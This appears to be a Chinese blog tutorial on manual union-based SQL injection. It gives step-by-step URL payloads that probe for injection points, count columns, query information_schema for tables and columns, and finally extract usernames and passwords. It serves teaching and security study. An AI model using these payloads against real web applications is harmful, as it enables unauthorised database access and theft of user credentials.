sql注入,说白了本质就是一个应用sql语句构造程序的一个过程,通过在web中输入代码使后台认为其是数据便注入源码之中,从而达到某些意想不到的结果

手工查找注入点:
    1. 1    #正常访问
    2. 1' and 1=1; # 是不是跟正常结果一样
    3. 1' and 1=2; # 是不是没有结果
    4. 1' order by 1,2; # 猜列数
    5. 1' and 1=2 union all select 1, 2; # 查看是否可以使用union all
    6. 1' and 1=2 union all select 1, database(); #  获取当前数据库
    7. 1' and 1=2 union all select TABLE_SCHEMA, TABLE_NAME from 

 

 

其下阐述一点基本的sql注入原理和基本的注入步骤

1.寻找注入点,构造闭合直接在网页的地址口进行手工注入  url?id=1 所猜闭合 1=2 --+

若web报错,及无执行该语句,猜错;反正web崩溃及执行该语句,猜对      常见闭合 (  )    “ ”     ' '   [ ]    { 
}  或者直接无闭合   

 2.查看当前表总共有多少列 url?id=1 order by 所猜测的数字 --+

2.寻找显示位 url?id=-1’ union all select 1,2,3 --+

3.定位该网页所选用数据库 database()当前数据库  version() 数据库版本号

4.通过数据库查找web所用表  url?id=-1’ union all select 1,table_name,3 from
information_schema.tables where table_schema=’当前数据库’ --+

5.通过已知数据库和表名查找该表内所有列名 url?id=-1’ union all select 1,column_name,3 from
information_schema.columns where table_schema=’当前数据库’ and table_name=’当前表名’ --+

6.最后一只数据库,表名,列名后,直接查询数据库中的用户名和密码  

url?id=-1 union all select 1,用户名,密码 from 表名

 

PS:若显示内容过少可调用函数group_concat(要查找内容)   即可将行与列互换显示

--+  是#注释符的url转码

 

 

 

技术
今日推荐
PPT
阅读数 131
下载桌面版
GitHub
百度网盘(提取码:draw)
Gitee
云服务器优惠
阿里云优惠券
腾讯云优惠券
华为云优惠券
站点信息
问题反馈
邮箱:ixiaoyang8@qq.com
QQ群:766591547
关注微信